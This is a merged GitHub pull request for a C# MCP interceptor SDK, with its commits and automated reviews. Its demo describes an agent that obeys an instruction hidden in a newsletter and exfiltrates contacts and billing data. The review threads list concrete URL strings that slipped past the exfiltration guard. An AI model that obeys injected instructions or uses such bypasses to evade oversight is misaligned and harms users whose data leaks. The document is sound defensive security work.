Skip to content

C# SDK: SEP-2624 invoker policy, rejection handling, and two samples - #52

Merged
PederHP merged 15 commits into
mainfrom
csharp/sep-alignment-and-demos
Nov 24, 2026
Merged

PederHP merged 15 commits into
mainfrom
csharp/sep-alignment-and-demos

Conversation

@PederHP

@PederHP PederHP commented Nov 22, 2026 •

Copy link
Copy Markdown
Member

C# SDK: SEP-2624 invoker policy, rejection handling, and two samples

This brings the C# SDK in line with the current docs/sep.md and adds two samples that show interceptors as out-of-process middleware: a scripted demo for people new to interceptors, and a proxy you can put in front of an existing MCP server.

The library changes are large (40 files under src/). The commits are split by topic and can be reviewed one at a time.

SEP alignment

  • Chain removal (SEP: Remove the chain concept, keep the execution mechanics #44). Public types are renamed: InterceptorChain → InterceptorOrchestrator, ExecuteChainRequestParams → InterceptorExecutionRequest, InterceptorChainResult → InterceptorExecutionResult, ExecuteChainAsync → ExecuteInterceptorsAsync, and so on.
  • Invoker overrides. InterceptorOverrides (failOpen, priorityHint, mode, timeoutMs, hooks) is resolved per interceptor: override, then declared value, then SEP default. Hook overrides that widen the declared hooks are rejected. InterceptorPolicy adds which interceptors apply (Include, fail-closed if one is missing), per-interceptor config, and a default timeout.
  • Direction (Sending-side chain direction: validators should gate final wire bytes, but SDKs disagree #29). Execution order follows the direction the message travels (sending or receiving), set through InterceptorInvokerRole (Client or Server), instead of being inferred from phase.
  • Timeouts. A per-interceptor timeout is routed by fail-open. The aggregate timeout covers discovery and every invocation in a phase, and fails the operation when it elapses. Previously one chain-wide timeout was also sent as every interceptor's timeoutMs, and fail-open interceptors still failed the operation when they timed out.
  • Validation. Every validator completes, and every blocking error is reported in ValidationErrors. The verdict rule is in one place, ValidationVerdict, using the fail-secure reading of SEP: which severity decides blocking when valid, severity and messages[].severity disagree? #51.
  • Audit trail. InterceptorInvocation records each invocation's resolved mode and failOpen, and whether each came from an override, the declaration or the SEP default (Security Best Practice 3).

Behavior fixes

  • A tools/call blocked by the gateway reached clients as "An error occurred invoking 'fetch'." because the exception was not an McpException, so the SDK hid the message.
    • Rejections are now McpInterceptorException / McpInterceptorValidationException (-32602 with data.validationErrors).
    • By default, the gateway returns a rejected tools/call as an isError result whose text gives the reason, with the SEP details under _meta["io.modelcontextprotocol/interceptors"].
    • ToolCallRejection = ProtocolError returns the JSON-RPC error instead.
  • Sinks were awaited, so a slow sink delayed every call. They now run in the background on a snapshot of the payload.
  • The gateway sent interceptors/list in both phases of every request. Discovery is now cached per interceptor server (one minute by default) and follows nextCursor. A failing or stalled interceptor server rejects the operation (fail-closed).
  • Tools listed through InterceptingMcpClient were bound to the inner client, so calling them skipped the interceptors. This predates the branch. They are now InterceptedMcpClientTool, an AIFunction routed through the wrapper. List results also apply response mutations; before, those mutations were discarded.
  • Attribute-based interceptor servers reported "Exception has been thrown by the target of an invocation" for any failure. They now report the interceptor's own error.
  • The gateway strips per-request protocol _meta (protocolVersion, clientInfo, clientCapabilities, logLevel) before forwarding. The SDK merges capabilities, so a downstream client's capability opt-ins reached the backend.
  • The two hops of the gateway negotiate protocol versions independently. When the backend hop is on 2026-07-28 or later, the gateway now answers logging/setLevel itself instead of forwarding a method the backend no longer has. Found with the MCP Inspector CLI.
  • Seven copy-pasted proxy handlers are now one forwarding path. Completions, resource templates and unsubscribe are interceptable too.

Interoperability

Samples

  • WhyInterceptorsDemo: a scripted terminal demo in four acts: one agent and one MCP server connected directly, then through an interceptor proxy, then with the guard in audit mode via an invoker override, then the recorded interceptor/invoke exchange. The agent's reasoning is scripted; every MCP message is real. Run dotnet run --project csharp/sdk/samples/WhyInterceptorsDemo.
  • InterceptorProxy: a JSON-configured stdio proxy, the "common interceptor sidecar" from the SEP's reference implementation section. The config's policy section mirrors InterceptorOverrides. --check validates the policy against the discovered interceptors. Verified with the MCP Inspector CLI as the client and with the reference filesystem server as the backend.
  • samples/README.md gives a start-here path. The C# README now opens with an overview.

Breaking changes

  • The chain renames above.
  • InterceptorExecutionRequest no longer has InterceptorNames or Config; use InterceptorPolicy.
  • InterceptorExecutionResult.FinalPayload is null when the operation is rejected.
  • InterceptingMcpClient.ListToolsAsync returns InterceptedMcpClientTool; ListPromptsAsync and ListResourcesAsync return protocol Prompt and Resource.
  • McpInterceptorValidationException is now an McpProtocolException.
  • ValidationMessage.Severity is nullable.

Questions for the SEP

These came up while implementing. The current choice is in parentheses.

  • SEP: which severity decides blocking when valid, severity and messages[].severity disagree? #51: which signal decides blocking (the fail-secure reading: top-level severity, then the most severe message, and an invalid result with no severity blocks).
  • Sending-side chain direction: validators should gate final wire bytes, but SDKs disagree #29: how the invoker states its direction (an explicit invoker role).
  • How a gateway reports a blocked tools/call. The SEP shows a JSON-RPC error. Clients pass isError tool results to the model more reliably (an isError result by default, with a protocol-error option).
  • Audit mode vs. the aggregate timeout. The aggregate timeout says to treat the operation as timed out, while audit mode "MUST NOT block" (audit-mode interceptors cut off by the aggregate are logged and do not fail the operation).
  • Discovery has no expiry or list_changed notification (cached for one minute).
  • Whether proxies should be told to treat per-request protocol _meta as hop-by-hop (stripped).

Testing

  • 105 → 186 tests (dotnet test in csharp/sdk). A clean Release build.
  • WhyInterceptorsDemo --fast runs end to end over real stdio processes.
  • InterceptorProxy was driven by the MCP Inspector CLI: tools/list, an allowed call, a blocked call returned as isError with the SEP details, and a redacted result. It also ran in front of @modelcontextprotocol/server-filesystem.
  • An independent review of the engine and gateway found the fail-open verdict, the listed-tool bypass, unbounded discovery and the audit timeout conflict. Those are fixed in the last commit, with tests.

🤖 Generated with Claude Code

PederHP and others added 11 commits November 22, 2026 18:35
…cept

The SEP no longer defines a chain (#44): executing several interceptors is
invoker-local orchestration over interceptors/list and interceptor/invoke.
Rename the public types so the reference implementation reads like the SEP:

  InterceptorChain          -> InterceptorOrchestrator
  InterceptorChainEntry     -> InterceptorBinding
  ExecuteChainRequestParams -> InterceptorExecutionRequest
  InterceptorChainResult    -> InterceptorExecutionResult
  InterceptorChainStatus    -> InterceptorExecutionStatus
  ChainAbortInfo            -> InterceptorAbortInfo
  ChainValidationSummary    -> ValidationSummary
  ExecuteChainAsync         -> ExecuteInterceptorsAsync

Internal types follow (InterceptorExecutionEngine, InterceptorPhaseRunner).
No behavior change.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MqPQYQw5XFogaX5P5KSth2
Execution model (InterceptorExecutionEngine):
- InterceptorOverrides (failOpen, priorityHint, mode, timeoutMs, hook
  narrowing) resolved per interceptor: override -> declared -> SEP default.
  Overrides that widen declared hooks are rejected.
- InterceptorPolicy: which interceptors apply (Include is fail-closed),
  their overrides, per-interceptor config sent as `config`, and a default
  per-interceptor timeout.
- Direction is explicit (Sending/Receiving) and derived from an
  InterceptorInvokerRole rather than from phase alone (#29). Gateways
  default to Client; Server validates requests before mutating them.
- Per-interceptor timeouts are routed by fail-open; the aggregate timeout
  cancels the rest and fails the operation. Previously one chain-wide
  timeout was also sent as every interceptor's timeoutMs, and a timeout
  failed the operation even for failOpen interceptors.
- Every validator completes and every blocking error is reported
  (ValidationErrors); previously only the first was.
- Mutations stay atomic; a result of the wrong type fails closed.
- Sinks are dispatched in the background on a payload snapshot. They were
  awaited, so a slow sink delayed every call.
- InterceptorInvocation records each invocation's resolved mode/failOpen
  and whether each came from an override or the declared default (SEP
  Security Best Practice 3), plus its effect (blocked, would_block, ...).
- Verdict rule tracks #51 with the fail-secure reading in one place
  (ValidationVerdict): top-level severity, else worst message, else block.

Gateway and InterceptingMcpClient:
- A blocked tools/call reached clients as "An error occurred invoking
  'fetch'." because the exception was not an McpException. Rejections are
  now McpInterceptorException/McpInterceptorValidationException
  (McpProtocolException, -32602 with data.validationErrors per the SEP).
  The gateway reports a rejected tools/call as an isError result with the
  reason in its text and the SEP details under
  _meta["io.modelcontextprotocol/interceptors"]; ToolCallRejection =
  ProtocolError returns the JSON-RPC error instead.
- interceptors/list results are cached per interceptor server
  (DiscoveryCacheDuration, default 1 minute) instead of re-listing in both
  phases of every request, and discovery follows nextCursor.
- Seven copy-pasted proxy handlers become one raw-JSON forwarding path;
  completions, resource templates and unsubscribe are now interceptable.
- Options gain Policy, InvokerRole, OnInterceptorsExecuted, LoggerFactory;
  invocations carry a timestamp, trace, session and authenticated user.
- InterceptingMcpClient accepts several interceptor servers and applies
  response mutations to list results (they were discarded).

Interop:
- Result `type` no longer has to be the first JSON property.
- durationMs/timeoutMs accept fractional numbers (#49).
- A result without `type` is read as the type declared in
  interceptors/list (#50).

Tests: 105 -> 146.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MqPQYQw5XFogaX5P5KSth2
…hema

[McpServerInterceptor] gains Version and ConfigSchema (JSON text), so an
interceptor can advertise the config knobs invokers may pass per call.
Methods returning ValueTask<bool> now work; they previously failed to
convert their result.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MqPQYQw5XFogaX5P5KSth2
- Interceptor servers reported "Exception has been thrown by the target of
  an invocation" for any failing attribute-based interceptor. Reflection
  now invokes with DoNotWrapExceptions, so the invoker sees the real cause.
- The gateway strips per-request protocol metadata (protocolVersion,
  clientInfo, clientCapabilities, logLevel) before forwarding to the
  backend. It is hop-by-hop: the SDK overwrites version and client info
  but merges capabilities, so a downstream client's capability opt-ins
  reached the backend as if the gateway supported them. Interceptors
  still see the metadata as received.
- InterceptorExecutionResult.OriginalPayload exposes the pre-mutation
  payload to observers (for example to show what a redactor changed). It
  is not serialized, so audit logs written from results do not capture
  pre-redaction content.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MqPQYQw5XFogaX5P5KSth2
…CP middleware

A short terminal demo for people new to interceptors, based on the Dev
Summit exfiltration demo but run through the library's transparent proxy,
so the trace tables show what the proxy actually did.

  Act 1  An agent connects to an MCP server with email, CRM and web tools.
         It follows an instruction in a newsletter and sends contacts and
         billing details to an outside URL.
  Act 2  The same agent and server through an interceptor proxy:
         pii-redactor removes the card number from the tool result and
         exfiltration-guard blocks the outbound call. The agent gets the
         reason as a tool error.
  Act 3  The proxy runs the guard in audit mode through an invoker
         override, without changing the interceptor server. The guard's
         audit-trail interceptor has recorded every operation.
  Act 4  The recorded interceptor/invoke exchange and the interceptor
         that answered it.

The agent's reasoning is scripted for repeatability; every MCP message is
real (two stdio subprocesses plus the in-process proxy). Presenter mode
waits for Enter; --auto, --fast, --act N and --export-html are available.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MqPQYQw5XFogaX5P5KSth2
…07-28+

The gateway's two hops negotiate protocol versions independently. The MCP
Inspector CLI negotiates an older revision with the gateway and sends
logging/setLevel; forwarding it to a 2026-07-28 backend session, where the
method no longer exists (SEP-2577), failed the client's request and the
Inspector aborted. The gateway now accepts it itself in that case.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MqPQYQw5XFogaX5P5KSth2
A stdio MCP server that looks exactly like the server it wraps and runs
every request and response through interceptor servers: the "common
interceptor sidecar" from the SEP's reference implementation section,
built on McpInterceptorGateway. Register it in Claude Code, Claude Desktop
or VS Code in place of the server; neither side changes.

- Config: backend and interceptor servers (stdio or Streamable HTTP),
  invokerRole, events, timeouts, tool-call rejection style, and a policy
  section mirroring SEP InterceptorOverrides plus per-interceptor config.
  ${VAR} expansion; paths resolve against the config file.
- --check connects, binds the policy against what was discovered and
  reports missing required interceptors or widening hook overrides.
- One stderr line per intercepted phase; optional JSON-lines audit log
  with each invocation's resolved mode/failOpen and their sources
  (SEP Security Best Practice 3), without payloads.
- demo.json wraps the WhyInterceptorsDemo servers; filesystem.json puts
  the pii-redactor in front of the reference TypeScript filesystem server.

Verified with the MCP Inspector CLI as the client (tools/list, an allowed
call, a blocked exfiltration attempt returned as isError with the SEP
details, and a redacted result) and against the npm filesystem server.

The demo's servers now identify as acme-workspace and security-guard.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MqPQYQw5XFogaX5P5KSth2
- README opens with an overview and points to the two demos, then
  documents the current API: writing interceptor servers, the three ways
  to invoke them, the execution model (direction, atomic mutations,
  verdict rule, failure routing), InterceptorPolicy, how rejections
  surface, and interop notes. Drops a dead link to
  docs/SEP_PROPOSAL_NOTES.md.
- samples/README.md gives a start-here path (WhyInterceptorsDemo,
  InterceptorProxy, InterceptorServerSample) and a table of the API samples.
- READMEs for WhyInterceptorsDemo and InterceptorProxy.
- CLAUDE.md and ARCHITECTURE_PHASES.md updated for the new engine, the
  rejection handling and the removal of the chain concept; older samples
  no longer call it a chain.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MqPQYQw5XFogaX5P5KSth2
…emo and docs

Rewrite the demo narration and READMEs in a plainer voice. Interceptors
are described as a standard way to build out-of-process middleware for
MCP clients, gateways and servers, with the exfiltration scenario as one
use case. Acts are renamed (Without middleware, With an interceptor proxy,
Policy set by the deployer, On the wire), and "attacker" identifiers
become ExternalDomain/ReceivedBy.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MqPQYQw5XFogaX5P5KSth2
- Fail-open verdict: ValidationMessage.Severity was a non-nullable enum
  defaulting to info, so an invalid result whose messages carried no
  severity passed. Severity is now nullable and a missing one counts as
  error in an invalid result (ValidationVerdict.SeverityOf).
- Tools listed through InterceptingMcpClient were McpClientTools bound to
  the inner client, so calling them (or handing them to an IChatClient)
  skipped interceptors. ListToolsAsync now returns InterceptedMcpClientTool,
  an AIFunction routed through the wrapper; prompts and resources are
  returned as protocol definitions. This predates the branch.
- The aggregate timeout did not cover discovery, and a stalled
  interceptors/list could hang an operation forever. Discovery now runs
  under the aggregate budget, each shared discovery is capped at 30 s,
  listing stops on a repeated cursor, and discovery failures are
  reported as interceptor rejections (fail-closed) instead of leaking the
  interceptor server's raw error to the downstream client.
- A slow audit-mode interceptor could fail an operation through the
  aggregate timeout, contradicting "audit MUST NOT block". Audit-mode
  invocations cut off by the aggregate are recorded as timed out.
- A rejected operation serialized its pre-redaction payload as
  finalPayload. FinalPayload is now null on rejection.
- Background sinks could run against per-request interceptor clients the
  gateway had already disposed; disposal now waits for them without
  holding up the response.
- Non-positive timeouts are rejected (overrides, policy, engine, gateway
  options, and on the interceptor server with -32602); the
  string-based McpInterceptorValidationException sets data.validationErrors;
  a gateway comment no longer claims unmodeled fields survive the hop.

Tests: 149 -> 158.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MqPQYQw5XFogaX5P5KSth2
Copilot AI balanced review requested due to automatic review settings November 22, 2026 18:54

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Changes recommended

Unresolved critical issues allow uppercase URL schemes to bypass the destination allowlist and serialized execution results to expose pre-redaction payloads even when redaction fails closed.

7 open issues
What changed in this PR

This PR aligns the C# interceptor SDK with SEP-2624’s invoker-owned orchestration model and adds two samples showing out-of-process middleware for MCP traffic.

Changes:

  • Replaces chain APIs with orchestration, policy overrides, explicit direction, timeout handling, validation verdicts, and invocation records.
  • Improves gateway rejection reporting, discovery caching, listed-tool interception, and JSON interoperability.
  • Adds a scripted demonstration and configurable proxy, with supporting tests and documentation.
File Description
csharp/​sdk/​tests/​ModelContextProtocol.Interceptors.Tests/​ReflectionMcpServerInterceptorTests.cs Tests version/schema advertising and asynchronous config binding.
csharp/​sdk/​tests/​ModelContextProtocol.Interceptors.Tests/​ProtocolTypesSerializationTests.cs Updates serialization tests for renamed execution types.
csharp/​sdk/​tests/​ModelContextProtocol.Interceptors.Tests/​McpInterceptorGatewayTests.cs Updates orchestration calls and rejection assertions.
csharp/​sdk/​tests/​ModelContextProtocol.Interceptors.Tests/​InterceptorOrchestratorTests.cs Migrates tests to orchestrator and binding APIs.
csharp/​sdk/​tests/​ModelContextProtocol.Interceptors.Tests/​GatewayComponentsTests.cs Tests hop-by-hop metadata stripping.
csharp/​sdk/​tests/​ModelContextProtocol.Interceptors.Tests/​ExecutionPolicyTests.cs Adds policy, direction, timeout, validation, and sink tests.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Server/​ReflectionMcpServerInterceptor.cs Exposes original exceptions and supports additional metadata and return types.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Server/​McpServerInterceptorAttribute.cs Adds version and configuration-schema attributes.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Server/​InterceptorMessageFilter.cs Validates timeouts and updates execution references.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Protocol/​ValidationSummary.cs Renames the validation summary type.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Protocol/​ValidationMessage.cs Makes message severity nullable.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Protocol/​MillisecondsConverters.cs Adds tolerant millisecond-number readers.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Protocol/​McpInterceptorValidationException.cs Introduces protocol-compatible rejection exceptions.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Protocol/​InvokeInterceptorRequestParams.cs Applies tolerant timeout deserialization.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Protocol/​InterceptorValidationError.cs Defines structured blocking errors.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Protocol/​InterceptorResult.cs Applies tolerant duration deserialization.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Protocol/​InterceptorPhase.cs Updates documentation references to execution types.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Protocol/​InterceptorInvocation.cs Records resolved policy, outcomes, and effects.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Protocol/​InterceptorExecutionStatus.cs Renames execution status and its converter.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Protocol/​InterceptorExecutionResult.cs Defines aggregate outcomes and invocation records.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Protocol/​InterceptorExecutionRequest.cs Defines direction-aware orchestration input.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Protocol/​InterceptorDirection.cs Adds sending/receiving direction and invoker-role mapping.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Protocol/​InterceptorChainResult.cs Removes the superseded chain result.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Protocol/​InterceptorAbortInfo.cs Renames abort information.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Protocol/​ExecuteChainRequestParams.cs Removes superseded chain request parameters.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​InterceptorJsonUtilities.cs Allows out-of-order JSON type discriminators.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​InterceptorJsonContext.cs Registers new execution and audit types.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Gateway/​McpInterceptorGatewayOptions.cs Exposes policy, direction, rejection, discovery, and observer options.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Gateway/​McpInterceptorGateway.cs Wires the shared runner and discovery refresh API.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Gateway/​InterceptorPhaseRunner.cs Centralizes discovery, policy binding, context, and phase execution.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Gateway/​InterceptorChainRunner.cs Removes the superseded chain runner.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Client/​ValidationVerdict.cs Centralizes severity resolution and blocking decisions.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Client/​McpClientInterceptorExtensions.cs Adds paginated discovery and missing-type fallback.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Client/​InterceptorPolicy.cs Binds discovered interceptors to invoker policy.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Client/​InterceptorOverrides.cs Defines overrides and validates hook narrowing.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Client/​InterceptorOrchestrator.cs Provides multi-server discovery and execution APIs.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Client/​InterceptorDiscoveryCache.cs Adds expiring per-client discovery caching.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Client/​InterceptorChainOrchestrator.cs Removes the previous chain engine.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Client/​InterceptorChainEntry.cs Removes the superseded chain entry type.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Client/​InterceptorChain.cs Removes the previous public chain API.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Client/​InterceptorBinding.cs Associates descriptors, servers, overrides, and configuration.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Client/​InterceptingMcpClientOptions.cs Adds multi-server policy, discovery, and observer settings.
csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Client/​InterceptedMcpClientTool.cs Routes listed-tool invocation through interception.
csharp/​sdk/​samples/​WhyInterceptorsDemo/​World.cs Manages demo servers and proxy connections.
csharp/​sdk/​samples/​WhyInterceptorsDemo/​WhyInterceptorsDemo.csproj Defines the demo project and dependencies.
csharp/​sdk/​samples/​WhyInterceptorsDemo/​Story.cs Implements the four-act demonstration.
csharp/​sdk/​samples/​WhyInterceptorsDemo/​SecurityGuardInterceptors.cs Adds allowlist, redaction, and audit examples.
csharp/​sdk/​samples/​WhyInterceptorsDemo/​Render.cs Renders demo traffic, results, and checkpoints.
csharp/​sdk/​samples/​WhyInterceptorsDemo/​RecordingClientTransport.cs Records MCP exchanges for display.
csharp/​sdk/​samples/​WhyInterceptorsDemo/​README.md Documents demo usage and structure.
csharp/​sdk/​samples/​WhyInterceptorsDemo/​Program.cs Selects demo and server process roles.
csharp/​sdk/​samples/​WhyInterceptorsDemo/​Pace.cs Controls interactive, timed, and fast playback.
csharp/​sdk/​samples/​WhyInterceptorsDemo/​AcmeWorkspaceTools.cs Supplies scripted workspace tools and data.
csharp/​sdk/​samples/​TransparentProxySample/​Program.cs Updates interceptor terminology in a comment.
csharp/​sdk/​samples/​README.md Adds a starting guide and sample index.
csharp/​sdk/​samples/​InterceptorProxy/​README.md Documents proxy setup, configuration, and limits.
csharp/​sdk/​samples/​InterceptorProxy/​ProxyConfig.cs Loads connection settings and invoker policy.
csharp/​sdk/​samples/​InterceptorProxy/​Program.cs Hosts the proxy, policy check, and audit output.
csharp/​sdk/​samples/​InterceptorProxy/​InterceptorProxy.csproj Defines the proxy project and dependencies.
csharp/​sdk/​samples/​InterceptorProxy/​filesystem.json Configures filesystem-response redaction.
csharp/​sdk/​samples/​InterceptorProxy/​demo.json Configures the workspace and guard demonstration.
csharp/​sdk/​samples/​InterceptorProxy/​.gitignore Excludes generated audit logs.
csharp/​sdk/​samples/​InterceptorClientSample/​Program.cs Migrates examples to execution APIs.
csharp/​sdk/​samples/​GatewaySample/​Program.cs Clarifies the agent-side gateway description in a comment.
csharp/​sdk/​samples/​GatewayChainSample/​Program.cs Updates layered-gateway terminology and execution calls.
csharp/​sdk/​ModelContextProtocol.Interceptors.sln Registers both new sample projects.
csharp/​sdk/​docs/​ARCHITECTURE_PHASES.md Updates shared-runtime terminology and references.
csharp/​sdk/​CLAUDE.md Updates SDK architecture and development reference documentation.

Review effort: Balanced

- Serialized execution results omit mutation payloads. Results and
  Invocations[].Result carried each mutator's output, which is
  pre-redaction content when a later mutator redacts, even when the
  operation was rejected. The interceptor/invoke wire result is unchanged.
- The static InterceptorOrchestrator.ExecuteAsync starts the aggregate
  timeout before discovery and gives the invocations what is left. A
  timeout during discovery returns a Timeout result.
- Discovery with caching off is still bounded by the discovery timeout.
- Concurrent callers on a cold or expired discovery cache share one
  listing; a failed entry is only removed if it has not been replaced.
- A positive fractional timeoutMs or durationMs never rounds to zero.
- InterceptorProxy expands ${VAR} after parsing the config, so values
  with backslashes or quotes arrive unchanged.
- WhyInterceptorsDemo's exfiltration-guard matches URL schemes
  case-insensitively.

Tests: 158 -> 164.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MqPQYQw5XFogaX5P5KSth2
Copilot AI balanced review requested due to automatic review settings November 22, 2026 20:49

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Changes recommended

Unresolved defects allow execution after timeout exhaustion, overlapping discovery requests when in-flight cache entries expire, and unapproved destinations using non-HTTP(S) URL schemes.

2 open issues
2 previously missed issues

In code that hasn't changed since last review

Medium severity Reject or inspect destination URLs with unsupported schemes

csharp/​sdk/​samples/​WhyInterceptorsDemo/​SecurityGuardInterceptors.cs:187

The destination allowlist only sees HTTP(S) URLs. A tools/call argument such as ftp://evil.example/sync?contacts=dana%40acme.example produces no matches, so BlockUnapprovedDomains returns success despite the unapproved destination; even the sample's FetchUrl accepts that absolute URI. This also affects the guard reused by InterceptorProxy. Please inspect every URL scheme supported by the backend, or explicitly reject unsupported schemes rather than silently allowing them.

Medium severity Reuse in-flight discoveries regardless of cache TTL

csharp/​sdk/​src/​ModelContextProtocol.Interceptors/​Client/​InterceptorDiscoveryCache.cs:102

An entry expires even while its shared discovery is still running. For example, with a 1-second DiscoveryCacheDuration and a 5-second listing, a caller arriving after 2 seconds starts another interceptors/list instead of joining the first one. Further callers can keep launching overlapping discoveries, defeating coalescing precisely when the interceptor server is slow. Please reuse in-flight discoveries regardless of the result TTL, and apply expiry only to completed entries.

6 resolved since last review

Review effort: Balanced

- A timeout budget used up by discovery now fails the operation. The
  phase runner and the static InterceptorOrchestrator.ExecuteAsync gave
  the interceptors at least 1 ms, so with no applicable interceptors an
  operation could be forwarded after the deadline.
- The discovery cache always joins a listing in progress, and a result's
  TTL counts from when its listing completed. A listing slower than the
  TTL no longer causes overlapping listings.
- WhyInterceptorsDemo's exfiltration-guard blocks URLs with any scheme
  other than http and https instead of skipping them, and fetch_url
  accepts only absolute http and https URLs.

Tests: 164 -> 167.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MqPQYQw5XFogaX5P5KSth2
Copilot AI balanced review requested due to automatic review settings November 23, 2026 07:15

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 Needs a closer look

Crafted URLs can bypass the destination allowlist to reach unapproved hosts, and config-relative executable paths can fail when launched from another directory.

1 open issue
2 previously missed issues

In code that hasn't changed since last review

High severity Parse and validate the full URL to prevent allowlist bypasses

csharp/​sdk/​samples/​WhyInterceptorsDemo/​SecurityGuardInterceptors.cs:198

The destination allowlist can be bypassed with https://acme.example'@evil.example/collect: the regex approves only https://acme.example, while FetchUrl parses the complete argument with evil.example as its host (runtime parsing rules, default branch). Mixed-slash URLs such as http:/\evil.example/collect are also accepted by Uri but missed entirely by this regex (runtime fixtures, default branch). Validate complete URL arguments with the same parser as the tool, fail closed for ambiguous embedded candidates, and add regression cases for both forms.

Medium severity Resolve relative proxy commands against the config directory

csharp/​sdk/​samples/​InterceptorProxy/​ProxyConfig.cs:95

A config containing "command": "./bin/guard" can fail on Unix when a desktop client launches the proxy from another directory: WorkingDirectory sets the child's directory, not executable lookup. The SDK transport (default branch) passes the command through to ProcessStartInfo.FileName, so this does not implement the documented config-relative paths. Resolve commands containing directory separators against baseDirectory, while preserving bare PATH commands such as dotnet.

1 resolved since last review

Review effort: Balanced

- WhyInterceptorsDemo guard: read a URL argument whole with System.Uri,
  the parser fetch_url uses. The regex approved "https://acme.example"
  out of "https://acme.example'@evil.example/collect", whose host is
  evil.example, and missed "http:/\evil.example/collect". URLs inside
  longer text run to the next whitespace; one that does not parse is
  blocked rather than skipped.
- InterceptorProxy: resolve a command path such as ./bin/guard against
  the config file's directory. "cwd" sets the child's working
  directory, not where its executable is looked up, so the proxy failed
  when started from another directory. Bare names such as dotnet are
  still looked up on PATH.
- SampleTests covers both; the test project compiles the three sample
  files involved.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MqPQYQw5XFogaX5P5KSth2
Copilot AI balanced review requested due to automatic review settings November 23, 2026 15:03

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 Needs a closer look

Human assessment is needed because critical validation and URL-allowlist bypass findings were omitted from the published review.

1 open issue

Review effort: Balanced

Copilot's review of b34c161 says it found URL-allowlist bypasses that it
did not publish. One was still there: in text, a URL could hide another
written right after it, because only the first of them was checked.
"[a](https://acme.example/a),[b](https://evil.example/?d=secret)", a
comma-separated list and a JSON list in a string were all allowed.

The guard now checks every place a URL starts, including a redirect
target inside another URL, and also scans property names.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MqPQYQw5XFogaX5P5KSth2
Copilot AI balanced review requested due to automatic review settings November 23, 2026 17:12

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 Needs a closer look

Human review is needed to assess URI-validation bypasses, preflight checks that accept invalid startup configurations, and audit serialization overhead for large payloads.

No open issues 🎉

1 resolved since last review

Review effort: Balanced

@PederHP

PederHP commented Nov 24, 2026

Copy link
Copy Markdown
Member Author

Merging by agreement with wg leads.

@PederHP
PederHP merged commit b488d14 into main Nov 24, 2026
12 checks passed
@PederHP
PederHP deleted the csharp/sep-alignment-and-demos branch November 24, 2026 17:10
